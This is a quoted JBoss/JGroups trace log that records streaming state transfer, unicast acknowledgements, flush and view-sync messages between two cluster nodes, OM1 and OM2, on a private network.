> 2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
> 2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Accepted request for state transfer from /192.168.1.201:63698 handing of to PooledExecutor thread
> 2013-08-30 09:49:26,325 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Running on Thread[STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299,5,JGroups]. Accepted request for state transfer from /192.168.1.201:63698, original buffer size was 8192 and was reset to 8192, passing outputstream up... 
> 2013-08-30 09:49:26,512 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Generating state.  Can provide? true
> 2013-08-30 09:49:26,590 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Writing 1 StoredEntries to stream
> 2013-08-30 09:49:26,715 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, UNICAST: DATA, seqno=4, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,715 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #4)
> 2013-08-30 09:49:26,715 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 2
> 2013-08-30 09:49:26,746 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 2 to OM2:1299
> 2013-08-30 09:49:26,746 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #3, conn_id=1)
> 2013-08-30 09:49:26,746 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=2, rsp_expected=false, UNICAST: DATA, seqno=3, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,746 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State generated, closing object stream
> 2013-08-30 09:49:26,746 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #4)
> 2013-08-30 09:49:26,746 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=4, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,746 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State writer is closing the socket 
> 2013-08-30 09:49:26,761 TRACE [UDP] (Incoming-13,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=3, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,761 TRACE [UNICAST] (Incoming-13,null) OM1:1299 <-- ACK(OM2:1299: #3)
> 2013-08-30 09:49:26,761 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, UNICAST: DATA, seqno=5, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,761 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #5)
> 2013-08-30 09:49:26,761 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 3
> 2013-08-30 09:49:26,761 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 3 to OM2:1299
> 2013-08-30 09:49:26,761 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #4, conn_id=1)
> 2013-08-30 09:49:26,761 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=3, rsp_expected=false, UNICAST: DATA, seqno=4, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,761 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #5)
> 2013-08-30 09:49:26,761 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=5, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,777 TRACE [UDP] (Incoming-14,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=4, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,777 TRACE [UNICAST] (Incoming-14,null) OM1:1299 <-- ACK(OM2:1299: #4)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-15,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=START_FLUSH,viewId=1,members=[OM1:1299, OM2:1299]], NAKACK: [MSG, seqno=1], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 TRACE [NAKACK] (Incoming-15,null) OM1:1299: received OM2:1299#1
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-15,null) OM1:1299 --> DATA(OM2:1299: #5, conn_id=1)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-15,null) sending msg to OM2:1299, src=OM1:1299, headers are FLUSH: FLUSH[type=FLUSH_COMPLETED,viewId=1], UNICAST: DATA, seqno=5, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 DEBUG [FLUSH] (Incoming-15,null) OM1:1299: received START_FLUSH, responded with FLUSH_COMPLETED to OM2:1299
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-16,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=5, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-16,null) OM1:1299 <-- ACK(OM2:1299: #5)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-17,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes], headers are STREAMING_STATE_TRANSFER: type=STATE_REQ, sender=OM2:1299 id=0, UNICAST: DATA, seqno=6, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-17,null) OM1:1299 <-- DATA(OM2:1299: #6)
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-17,null) OM1:1299 --> ACK(OM2:1299: #6)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-17,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=6, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (Incoming-17,null) Responding to state requester OM2:1299 with address 192.168.1.200:50258 and digest null
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-17,null) OM1:1299 --> DATA(OM2:1299: #6, conn_id=1)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-17,null) sending msg to OM2:1299, src=OM1:1299, headers are STREAMING_STATE_TRANSFER: type=STATE_RSP, sender=OM1:1299 id=0, UNICAST: DATA, seqno=6, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-18,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=6, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-18,null) OM1:1299 <-- ACK(OM2:1299: #6)
> 2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Accepted request for state transfer from /192.168.1.201:63699 handing of to PooledExecutor thread
> 2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Running on Thread[STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299,5,JGroups]. Accepted request for state transfer from /192.168.1.201:63699, original buffer size was 8192 and was reset to 8192, passing outputstream up... 
> 2013-08-30 09:49:27,058 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State writer is closing the socket 
> 2013-08-30 09:49:27,151 TRACE [UDP] (Incoming-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=2], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,151 TRACE [NAKACK] (Incoming-19,null) OM1:1299: received OM2:1299#2
> 2013-08-30 09:49:27,151 DEBUG [FLUSH] (Incoming-19,null) OM1:1299: received STOP_FLUSH, unblocking FLUSH.down() and sending UNBLOCK up
> 2013-08-30 09:49:27,276 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM2:1299 (4 headers), size=874 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=false, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,276 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM2:1299#3
> 2013-08-30 09:49:27,276 TRACE [MFC] (Incoming-20,null) OM2:1299 used 874 credits, 1999126 remaining
> 2013-08-30 09:49:27,276 TRACE [RequestCorrelator] (Incoming-20,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 4
> 2013-08-30 09:49:27,276 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM2:1299 (4 headers), size=382 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=5, rsp_expected=true, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,276 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM2:1299#4
> 2013-08-30 09:49:27,276 TRACE [MFC] (Incoming-20,null) OM2:1299 used 382 credits, 1998744 remaining
> 2013-08-30 09:49:27,276 TRACE [RequestCorrelator] (Incoming-20,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 5
> 2013-08-30 09:49:27,276 TRACE [RequestCorrelator] (Incoming-20,null) sending rsp for 5 to OM2:1299
> 2013-08-30 09:49:27,276 TRACE [UNICAST] (Incoming-20,null) OM1:1299 --> DATA(OM2:1299: #7, conn_id=1)
> 2013-08-30 09:49:27,276 TRACE [UDP] (Incoming-20,null) sending msg to OM2:1299, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=RSP, id=5, rsp_expected=false, UNICAST: DATA, seqno=7, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,292 TRACE [UDP] (Incoming-1,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=7, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,292 TRACE [UNICAST] (Incoming-1,null) OM1:1299 <-- ACK(OM2:1299: #7)
> 2013-08-30 09:49:27,292 TRACE [UDP] (Incoming-4,null) received [dst: <null>, src: OM2:1299 (4 headers), size=873 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=6, rsp_expected=false, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,292 TRACE [NAKACK] (Incoming-4,null) OM1:1299: received OM2:1299#5
> 2013-08-30 09:49:27,292 TRACE [MFC] (Incoming-4,null) OM2:1299 used 873 credits, 1997871 remaining
> 2013-08-30 09:49:27,292 TRACE [RequestCorrelator] (Incoming-4,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 6
> 2013-08-30 09:49:27,323 TRACE [UDP] (Incoming-3,null) received [dst: <null>, src: OM2:1299 (4 headers), size=566 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=7, rsp_expected=true, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,323 TRACE [NAKACK] (Incoming-3,null) OM1:1299: received OM2:1299#6
> 2013-08-30 09:49:27,323 TRACE [MFC] (Incoming-3,null) OM2:1299 used 566 credits, 1997305 remaining
> 2013-08-30 09:49:27,323 TRACE [RequestCorrelator] (Incoming-3,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 7
> 2013-08-30 09:49:27,339 TRACE [RequestCorrelator] (Incoming-3,null) sending rsp for 7 to OM2:1299
> 2013-08-30 09:49:27,354 TRACE [UNICAST] (Incoming-3,null) OM1:1299 --> DATA(OM2:1299: #8, conn_id=1)
> 2013-08-30 09:49:27,354 TRACE [UDP] (Incoming-3,null) sending msg to OM2:1299, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=RSP, id=7, rsp_expected=false, UNICAST: DATA, seqno=8, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,354 TRACE [UDP] (Incoming-6,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=8, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,354 TRACE [UNICAST] (Incoming-6,null) OM1:1299 <-- ACK(OM2:1299: #8)
> 2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-5,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes], headers are STREAMING_STATE_TRANSFER: type=STATE_REQ, sender=OM2:1299 id=0, UNICAST: DATA, seqno=7, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-5,null) OM1:1299 <-- DATA(OM2:1299: #7)
> 2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-5,null) OM1:1299 --> ACK(OM2:1299: #7)
> 2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-5,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=7, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (Incoming-5,null) Responding to state requester OM2:1299 with address 192.168.1.200:50258 and digest null
> 2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-5,null) OM1:1299 --> DATA(OM2:1299: #9, conn_id=1)
> 2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-5,null) sending msg to OM2:1299, src=OM1:1299, headers are STREAMING_STATE_TRANSFER: type=STATE_RSP, sender=OM1:1299 id=0, UNICAST: DATA, seqno=9, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-7,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=9, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-7,null) OM1:1299 <-- ACK(OM2:1299: #9)
> 2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
> 2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Accepted request for state transfer from /192.168.1.201:63701 handing of to PooledExecutor thread
> 2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Running on Thread[STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299,5,JGroups]. Accepted request for state transfer from /192.168.1.201:63701, original buffer size was 8192 and was reset to 8192, passing outputstream up... 
> 2013-08-30 09:49:27,651 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Generating state.  Can provide? true
> 2013-08-30 09:49:27,651 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Writing 2 StoredEntries to stream
> 2013-08-30 09:49:27,651 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=8, rsp_expected=true, UNICAST: DATA, seqno=8, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,651 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #8)
> 2013-08-30 09:49:27,651 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 8
> 2013-08-30 09:49:27,651 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 8 to OM2:1299
> 2013-08-30 09:49:27,651 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #10, conn_id=1)
> 2013-08-30 09:49:27,651 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=8, rsp_expected=false, UNICAST: DATA, seqno=10, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #8)
> 2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=8, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State generated, closing object stream
> 2013-08-30 09:49:27,666 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State writer is closing the socket 
> 2013-08-30 09:49:27,666 TRACE [UDP] (Incoming-8,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=10, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (Incoming-8,null) OM1:1299 <-- ACK(OM2:1299: #10)
> 2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=9, rsp_expected=true, UNICAST: DATA, seqno=9, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #9)
> 2013-08-30 09:49:27,666 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 9
> 2013-08-30 09:49:27,666 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 9 to OM2:1299
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #11, conn_id=1)
> 2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=9, rsp_expected=false, UNICAST: DATA, seqno=11, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #9)
> 2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=9, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UDP] (Incoming-10,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=11, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (Incoming-10,null) OM1:1299 <-- ACK(OM2:1299: #11)
> 2013-08-30 09:49:32,814 TRACE [NAKACK] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending OM1:1299#8
> 2013-08-30 09:49:32,814 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending msg to null, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,814 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) looping back message [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes]
> 2013-08-30 09:49:32,830 TRACE [UDP] (Incoming-9,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,830 TRACE [NAKACK] (Incoming-9,null) OM1:1299: received OM1:1299#8
> 2013-08-30 09:49:32,830 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,830 TRACE [MFC] (Incoming-9,null) OM1:1299 used 354 credits, 1999646 remaining
> 2013-08-30 09:49:32,845 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (4 headers), size=1024 bytes, flags=OOB|DONT_BUNDLE], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=RSP, id=2, rsp_expected=false, UNICAST: DATA, seqno=10, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,845 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #10)
> 2013-08-30 09:49:32,845 TRACE [UFC] (OOB-20,null) OM2:1299 used 1024 credits, 1998976 remaining
> 2013-08-30 09:49:32,845 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #10)
> 2013-08-30 09:49:32,845 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=10, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,861 TRACE [NAKACK] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending OM1:1299#9
> 2013-08-30 09:49:32,861 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending msg to null, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,861 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) looping back message [dst: <null>, src: OM1:1299 (4 headers), size=1463 bytes]
> 2013-08-30 09:49:32,861 TRACE [UDP] (Incoming-12,null) received [dst: <null>, src: OM1:1299 (4 headers), size=1463 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,861 TRACE [NAKACK] (Incoming-12,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:32,861 TRACE [UDP] (Incoming-13,null) received [dst: <null>, src: OM1:1299 (4 headers), size=1463 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,861 TRACE [MFC] (Incoming-12,null) OM1:1299 used 1463 credits, 1998183 remaining
> 2013-08-30 09:49:34,187 TRACE [NAKACK] (Timer-4,<ADDR>) sending OM1:1299#10
> 2013-08-30 09:49:34,187 TRACE [UDP] (Timer-4,<ADDR>) sending msg to null, src=OM1:1299, headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,187 TRACE [UDP] (Timer-4,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:34,187 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,187 TRACE [NAKACK] (OOB-20,null) OM1:1299: received OM1:1299#10
> 2013-08-30 09:49:34,187 TRACE [VIEW_SYNC] (OOB-20,null) view from OM1:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:49:34,187 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,515 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,515 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:34,515 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,515 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:34,515 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,515 TRACE [NAKACK] (Incoming-14,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:34,515 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,123 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
